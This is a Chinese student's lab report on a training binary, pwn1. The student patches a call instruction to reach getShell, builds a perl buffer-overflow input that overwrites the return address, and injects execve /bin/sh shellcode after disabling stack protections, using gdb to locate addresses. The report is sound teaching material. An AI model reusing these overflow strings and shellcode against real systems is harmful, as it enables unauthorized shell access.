20184328yh《网络对抗技术》实验一:逆向破解实验

《网络对抗技术》实验一:PC平台逆向破解实验

20184328yh

 

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序的正常流程是:main函数调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的,实践的目标就是想办法运行这个代码片段,然后学习如何注入运行如何Shellcod。

实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

 

基础知识

  • 常用Linux操作指令

objdump -d:对任意一个二进制文件进行反汇编。

:%!xxd:把二进制文档转成十六进制显示。

perl -e:指定字符串以作为脚本(多个字符串迭加)执行。

|:管道,把前者的输出作为后者的输入。

>:重定向,将输出内容指向一个指定文件。

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:机器码为90,空指令。指执行到NOP指令时,CPU不做操作,继续执行NOP后面的一条指令。

JNE:机器码为75,条件转移指令,如果不相等则跳转。

JE:机器码为74,条件转移指令,如果相等则跳转。

JMP:无条件转移指令。段内直接短转Jmp short(机器码为EB)段内直接近转移Jmp near(机器码为E9)段内间接转移Jmp。 word(机器码为FF)段间直接(远)转移Jmp far(机器码为EA)。

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

  • 其他
    • ELF文件

ELF文件是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件,是UNIX系统实验室(USL)作为应用程序二进制接口(Application Binary Interface,ABI)而开发和发布的,也是Linux的主要可执行文件格式。


 

实践过程

实验1:直接修改程序机器指令,改变程序执行流程

  • 在开始前修改pwn1文件名并备份,检查pwn20184328是否可以正常运行

  • 使用 objdump -d pwn20184328 | more指令对目标文件进行反汇编,并查找主要函数的反汇编结果

  • main函数里面的call指令对应e8,d7ffffff就是foo函数的地址,也就是call要跳过去的地方,d7ffffff是一个补码,当执行行call的时候EIP指向下一条指令的地址也就是80484ba,80484ba加上d7ffffff就等于8048491也就是foo函数的地址,d7ffffff就是8048491减去80484ba算出来的,如果想要执行getshell,需要让call指令跳转到getShell的起始地址执行,只要修改“d7ffffff”为"getShell-80484ba"对应的补码即可。用Windows计算器,直接计算47d-4ba就能得到补码,是c3ffffff

  • 接下来就对可执行文件进行修改,先输入指令 vi pwn20184328 ,用vim编辑器查看可执行文件pwn2018428;接着输入 :%!xxd ,将显示模式切换为16进制模式;输入 /e8 d7 查找要修改的内容:

  • i键将vim编辑器的普通模式改为插入模式,修改d7为c3,再按Esc键回到普通模式;输入 :%!xxd 转换回16进制的原格式,然后输入 :wq ,存盘退出

  • 此时再反汇编看一下,发现原汇编指令已经被成功修改:

  • 再验证一下程序是否被修改,运行修改后的代码,会得到shell提示符#,输入 ls 列出文件,说明修改成功

 

 

 实验2:通过构造输入参数,造成BOF攻击,改变程序执行流

 

  • 通过反汇编对foo函数进行分析,可知系统预留了固定大小的缓冲区,如果输入超出缓冲区大小的数据会早造成数据溢出,因此这个函数存在BOF漏洞,这一部分实践目标就是覆盖它的返回地址,运行getShell

 

 

  • 08048491 <foo>:
     8048491:    55                       push   %ebp
    //上一条是主函数里面的call,这个指令上面的栈放返回地址80484ba
     8048492:    89 e5                    mov    %esp,%ebp
     8048494:    83 ec 38                 sub    $0x38,%esp
    //减去了0x38,把空间预留出来分配局部变量,大小为56字节
     8048497:    8d 45 e4                 lea    -0x1c(%ebp),%eax
    //大小为28字节,读入的字符串会放在里面,超过28就会导致缓冲区溢出
     804849a:    89 04 24                 mov    %eax,(%esp)

     

  • 通过输入一串数据,发现当输入达到28字节时产生溢出,系统报错

  • 由上图可以确定当输入到“1234”时覆盖了原有的堆栈上的返回地址,CPU此时会尝试运行此时这个位置代码,所以我们只需要将getshell的内存地址替换这4个字符,就可以达到程序向getshell函数转移的目的
  • 通过反汇编时可以看到getShell的内存地址为0804847d。接下来要确认输入的字节序,通过对比0x34333231 ,小端优先,正确应输入:11111111222222223333333344444444\x7d\x84\x04\x08,其对应的ASCII没有字符,所以需要perl脚本语言来构造输入值,perl 这个函数支持ASCII码和字符串混合写, > input输出重定向,形成一个input文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 再输入 xxd input 用16进制查看input文件的内容是否如预期

  •  然后用 (cat input; cat)| ./pwn20184328 将input的输入通过管道符“|”作为可执行文件pwn20184328的输入,cat input是把input显示出来,把显示的内容通过管道符输给pwn20184328,再执行cat让程序不要退出,此时验证结果修改成功,得到shell

 实验3:注入Shellcode并执行

  • Shellcode这段机器指令的目的是为了获取一个交互式的shell(像Linux的shell或者Windows下的cmd.exe),实际应用中,凡是用来注入的机器指令段都称为shellcode,像是添加一个用户、运行一段指令,准备一段shellcode如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 在开始前需要准备环境,因为在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。且GCC中的编译器有堆栈保护技术,因此需要设置堆栈可执行和关闭地址随机化
  • 在安装execstack时发现系统反馈“E:无法定位软件包问题”,此时需要更新source.list文件中是有关软件更新的源服务器的地址,在文件系统/etc/apt界面打开终端,输入sudo nano sources.list,添加网上找到的新的源服务器地址,保存退出后再输入apt-get update更新一下即可,此时execstack可正常下载使用

  • Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode 和nop+shellcode+retaddr。    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,nop的作用一为是了填充,二是作为“着陆区/滑行区”。因为我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode

  • 在这里使用anything+retaddr+nops+shellcode结构构造攻击buf,需要猜测返回地址的所在位置,并且找到shellcode的所在地址
  • perl脚本语言来构造输入值,上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 接下来要确定\x4\x3\x2\x1到底该填什么,在终端注入这段攻击

  • 先不按下回车,在后面的调试过程中需要继续运行的再按回车,此时再打开另外一个终端,查看pwn20184328这个进程,先找到该进程的进程号为1301,再打开gdb,用attach指令使用该进程号进行调试

 

  • 用 disassemble foo 对foo函数进行反汇编,找到ret的地址位0x80484ae

 

  •  然后在ret的地址位置设置断点,因为在执行ret的时候1234进入EIP会报错就不可以执行了,所以断点在这里,输入指令如下 break *0x080484ae 
  • 回到之前的终端按下回车,再到gdb所在终端进行调试:

  • 依照显示的esp的值显示接下来的内存地址内容,来分析猜测的返回地址位置是否正确,以及shellcode的地址

  • 可见上图从左到右第一处标记点的内容是0x01020304,正是猜测的返回地址,第二处标记中的内容则是shellcode代码,由此可以推断出shellcode地址为紧挨着的0xffffd210
  • 回到另一个终端,将返回地址修改为 0xffffd210,再将修改后的代码重新注入,发现注入成功
 perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 

 


 

实验总结

  • 实验的收获和感想

在操作方面,我现在熟悉了Linux基本操作、能看得懂汇编、机器指令、EIP、指令地址,不会像第一次看到各种代码那么摸不着头脑了,还掌握了使用Vim编辑器和gdb调试;在实验方面,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,其实在之前的很多课上都有提到缓冲区溢出攻击,但对于具体的实现步骤和原理了解的很少,通过这次的实验我明白了缓冲区溢出攻击具体是如何修改返回地址的,而且对于Linux中函数调用与堆栈在程序运行过程中关系有了更加具体的了解。

通过前期学习实验楼的Linux基础课程,为理解实验内容做了一定的铺垫,在本次实验中需要使用三种思路触发getShell这个函数,其实实验指导中以及非常详细的给出了实验的原理和步骤,再加上老师的视频资源,已经很大程度上降低了实验的操作难度,一步步做好的话还是很顺利的,我在实验过程中遇到的问题其实还是对Linux的操作不够熟悉,还有就是在安装execstack的时候出现找不到可执行文件的情况,不过通过网上找到的方法换了软件更新的源服务器的地址就可以正常安装了。

  • 对于漏洞以及漏洞危害的理解

我觉得漏洞顾名思义就是弱点和缺陷,广义上来看就是制订得不周密的地方,那放在计算机领域就是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。比如说这次实验的Bof攻击之所以可以实现就是利用了foo函数存在的漏洞。

漏洞的危害很大,可以使攻击者能够在未授权的情况下访问或破坏系统,漏洞的存在给不法分子或黑客攻击者提供了入侵电脑的机会,通常通过植入木马、病毒、钓鱼网站挂马等方式来攻击或控制整个电脑,造成诸如权限替换、窃取资料、信息泄露、病毒传播、恶意勒索、破坏系统等严重后果。

 

posted @ 2021-03-25 15:47  20184328  阅读(100)  评论(0编辑  收藏  举报